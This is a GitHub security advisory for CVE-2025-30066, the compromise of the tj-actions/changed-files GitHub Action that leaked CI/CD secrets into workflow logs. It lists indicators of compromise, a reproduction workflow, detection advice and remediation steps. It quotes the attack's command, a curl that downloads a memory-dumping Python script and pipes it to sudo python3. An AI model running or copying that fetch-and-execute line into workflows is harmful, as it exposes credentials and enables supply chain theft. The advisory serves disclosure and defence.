tj-actions changed-files through 45.0.7 allows remote attackers to discover secrets by reading actions logs.

High severity GitHub Reviewed Published on Mar 15 to the GitHub Advisory Database • Updated on Mar 24

Vulnerability details Dependabot alerts 0

Package

tj-actions/changed-files (GitHub Actions)

Affected versions	Patched versions
<= 45.0.7	46.0.1

Description

Summary

A supply chain attack compromised the **tj-actions/changed-files** GitHub Action, impacting over 23,000 repositories. Attackers retroactively modified multiple version tags to reference a malicious commit, exposing CI/CD secrets in workflow logs. The vulnerability existed between **March 14 and March 15, 2025**, and has since been mitigated. This poses a significant risk of unauthorized access to sensitive information.

This has been patched in v46.0.1.

Details

The attack involved modifying the **tj-actions/changed-files** GitHub Action to execute a malicious Python script. This script extracted secrets from the Runner Worker process memory and printed them in GitHub Actions logs, making them publicly accessible in repositories with public workflow logs.

Key Indicators of Compromise (IoC):

- **Malicious commit**: 0e58ed8671d6b60d0890c21b07f8835ace038e67
- **Retroactively updated tags pointing to the malicious commit**:
  - `v1.0.0` : 0e58ed8671d6b60d0890c21b07f8835ace038e67
  - `v35.7.7-sec` : 0e58ed8671d6b60d0890c21b07f8835ace038e67

    - `v44.5.1` : 0e58ed8671d6b60d0890c21b07f8835ace038e67

Malicious Code Execution:

The malicious script downloaded and executed a Python script that scanned memory for secrets, base64-encoded them, and logged them in the build logs:

```
B64_BLOB=`curl -sSf https://gist.githubusercontent.com/
nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo
python3`
```

This script targeted the **Runner Worker process**, extracting and exfiltrating its memory contents.

Proof of Concept (PoC)

Steps to Reproduce:

1. Create a GitHub Actions workflow using the **tj-actions/changed-files** action:

```
name: "tj-action changed-files incident"
on:
  pull_request:
    branches:
      - main
jobs:
  changed_files:
    runs-on: ubuntu-latest
    steps:
      - name: Get changed files
        id: changed-files
        uses: tj-actions/changed-files@0e58ed8671d6b60d0890c21b07f8835ace038e6
```

2. Run the workflow and inspect the logs in the Actions tab.
3. Vulnerable workflows may display secrets in the logs.

Detection:

Analyze network traffic using Harden-Runner, which detects unauthorized outbound requests to:

- `gist.githubusercontent.com`

Live reproduction logs:
🔗 Harden-Runner Insights

This attack was detected by **StepSecurity** when anomaly detection flagged an unauthorized outbound network call to `gist.githubusercontent.com`.

Duration of Vulnerability

The vulnerability was active between **March 14 and March 15, 2025**.

Action Required

1. **Review your workflows executed between March 14 and March 15**:
    - Check the **changed-files** section for unexpected output.
    - Decode suspicious output using the following command:

      ```
      echo 'xxx' | base64 -d | base64 -d
      ```

    - If the output contains sensitive information (e.g., tokens or secrets), revoke and rotate those secrets immediately.
2. **Update workflows referencing the compromised commit**:
    - If your workflows reference the malicious commit directly by its SHA, update them immediately to avoid using the compromised version.
3. **Tagged versions**:
    - If you are using tagged versions (e.g., `v35`, `v44.5.1`), no action is required as these tags have been updated and are now safe to use.
4. **Rotate potentially exposed secrets**:
    - As a precaution, rotate any secrets that may have been exposed during this timeframe to ensure the continued security of your workflows.

Impact

- **Type of vulnerability**: Supply chain attack, Secrets exposure, Information leakage
- **Who is impacted**:
    - Over 23,000 repositories using **tj-actions/changed-files**.
    - Organizations with public repositories are at the highest risk, as their logs may already be compromised.
- **Potential consequences**:
    - Theft of CI/CD secrets (API keys, cloud credentials, SSH keys).
    - Unauthorized access to source code, infrastructure, and production environments.
    - Credential leaks in public repositories, enabling further supply chain attacks.

References

- https://nvd.nist.gov/vuln/detail/CVE-2025-30066
- tj-actions/changed-files#2463
- https://github.com/github/docs/blob/962a1c8dccb8c0f66548b324e5b921b5e4fbc3d6/content/actions/security-for-github-actions/security-guides/security-hardening-for-github-actions.md?plain=1#L191-L193
- https://semgrep.dev/blog/2025/popular-github-action-tj-actionschanged-files-is-compromised
- https://www.stepsecurity.io/blog/harden-runner-detection-tj-actions-changed-files-action-is-compromised
- chains-project/maven-lockfile#1111
- rackerlabs/genestack#903
- https://news.ycombinator.com/item?id=43367987
- https://web.archive.org/web/20250315060250/https://github.com/tj-actions/changed-files/issues/2463
- espressif/arduino-esp32#11127
- modal-labs/modal-examples#1100
- tj-actions/changed-files#2464
- https://github.com/tj-actions/changed-files/blob/45fb12d7a8bedb4da42342e52fe054c6c2c3fd73/README.md?plain=1#L20-L28
- https://sysdig.com/blog/detecting-and-mitigating-the-tj-actions-changed-files-supply-chain-attack-cve-2025-30066
- https://www.wiz.io/blog/github-action-tj-actions-changed-files-supply-chain-attack-cve-2025-30066
- https://www.sweet.security/blog/cve-2025-30066-tj-actions-supply-chain-attack
- https://www.stream.security/post/github-action-supply-chain-attack-exposes-secrets-what-you-need-to-know-and-how-to-respond
- tj-actions/changed-files#2477
- https://github.com/tj-actions/changed-files/releases/tag/v46.0.1
- https://www.cisa.gov/news-events/alerts/2025/03/18/supply-chain-compromise-third-party-github-action-cve-2025-30066
- https://blog.gitguardian.com/compromised-tj-actions
- GHSA-mw4p-6x4p-x5m5

Published by the National Vulnerability Database on Mar 15

Published to the GitHub Advisory Database on Mar 15

Reviewed on Mar 15

Last updated on Mar 24

Severity

High 8.6 / 10

CVSS v3 base metrics

Attack vector	Network
Attack complexity	Low
Privileges required	None
User interaction	None
Scope	Changed
Confidentiality	High
Integrity	None
Availability	None

Learn more about base metrics

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

EPSS score

61.785% (98th percentile)

Weaknesses

▸ CWE-506

CVE ID

CVE-2025-30066

GHSA ID

GHSA-mrrh-fwg8-r2c3

Source code

tj-actions/changed-files

Credits

varunsh-coder Analyst

This advisory has been edited. See History.

See something to contribute? Suggest improvements for this vulnerability.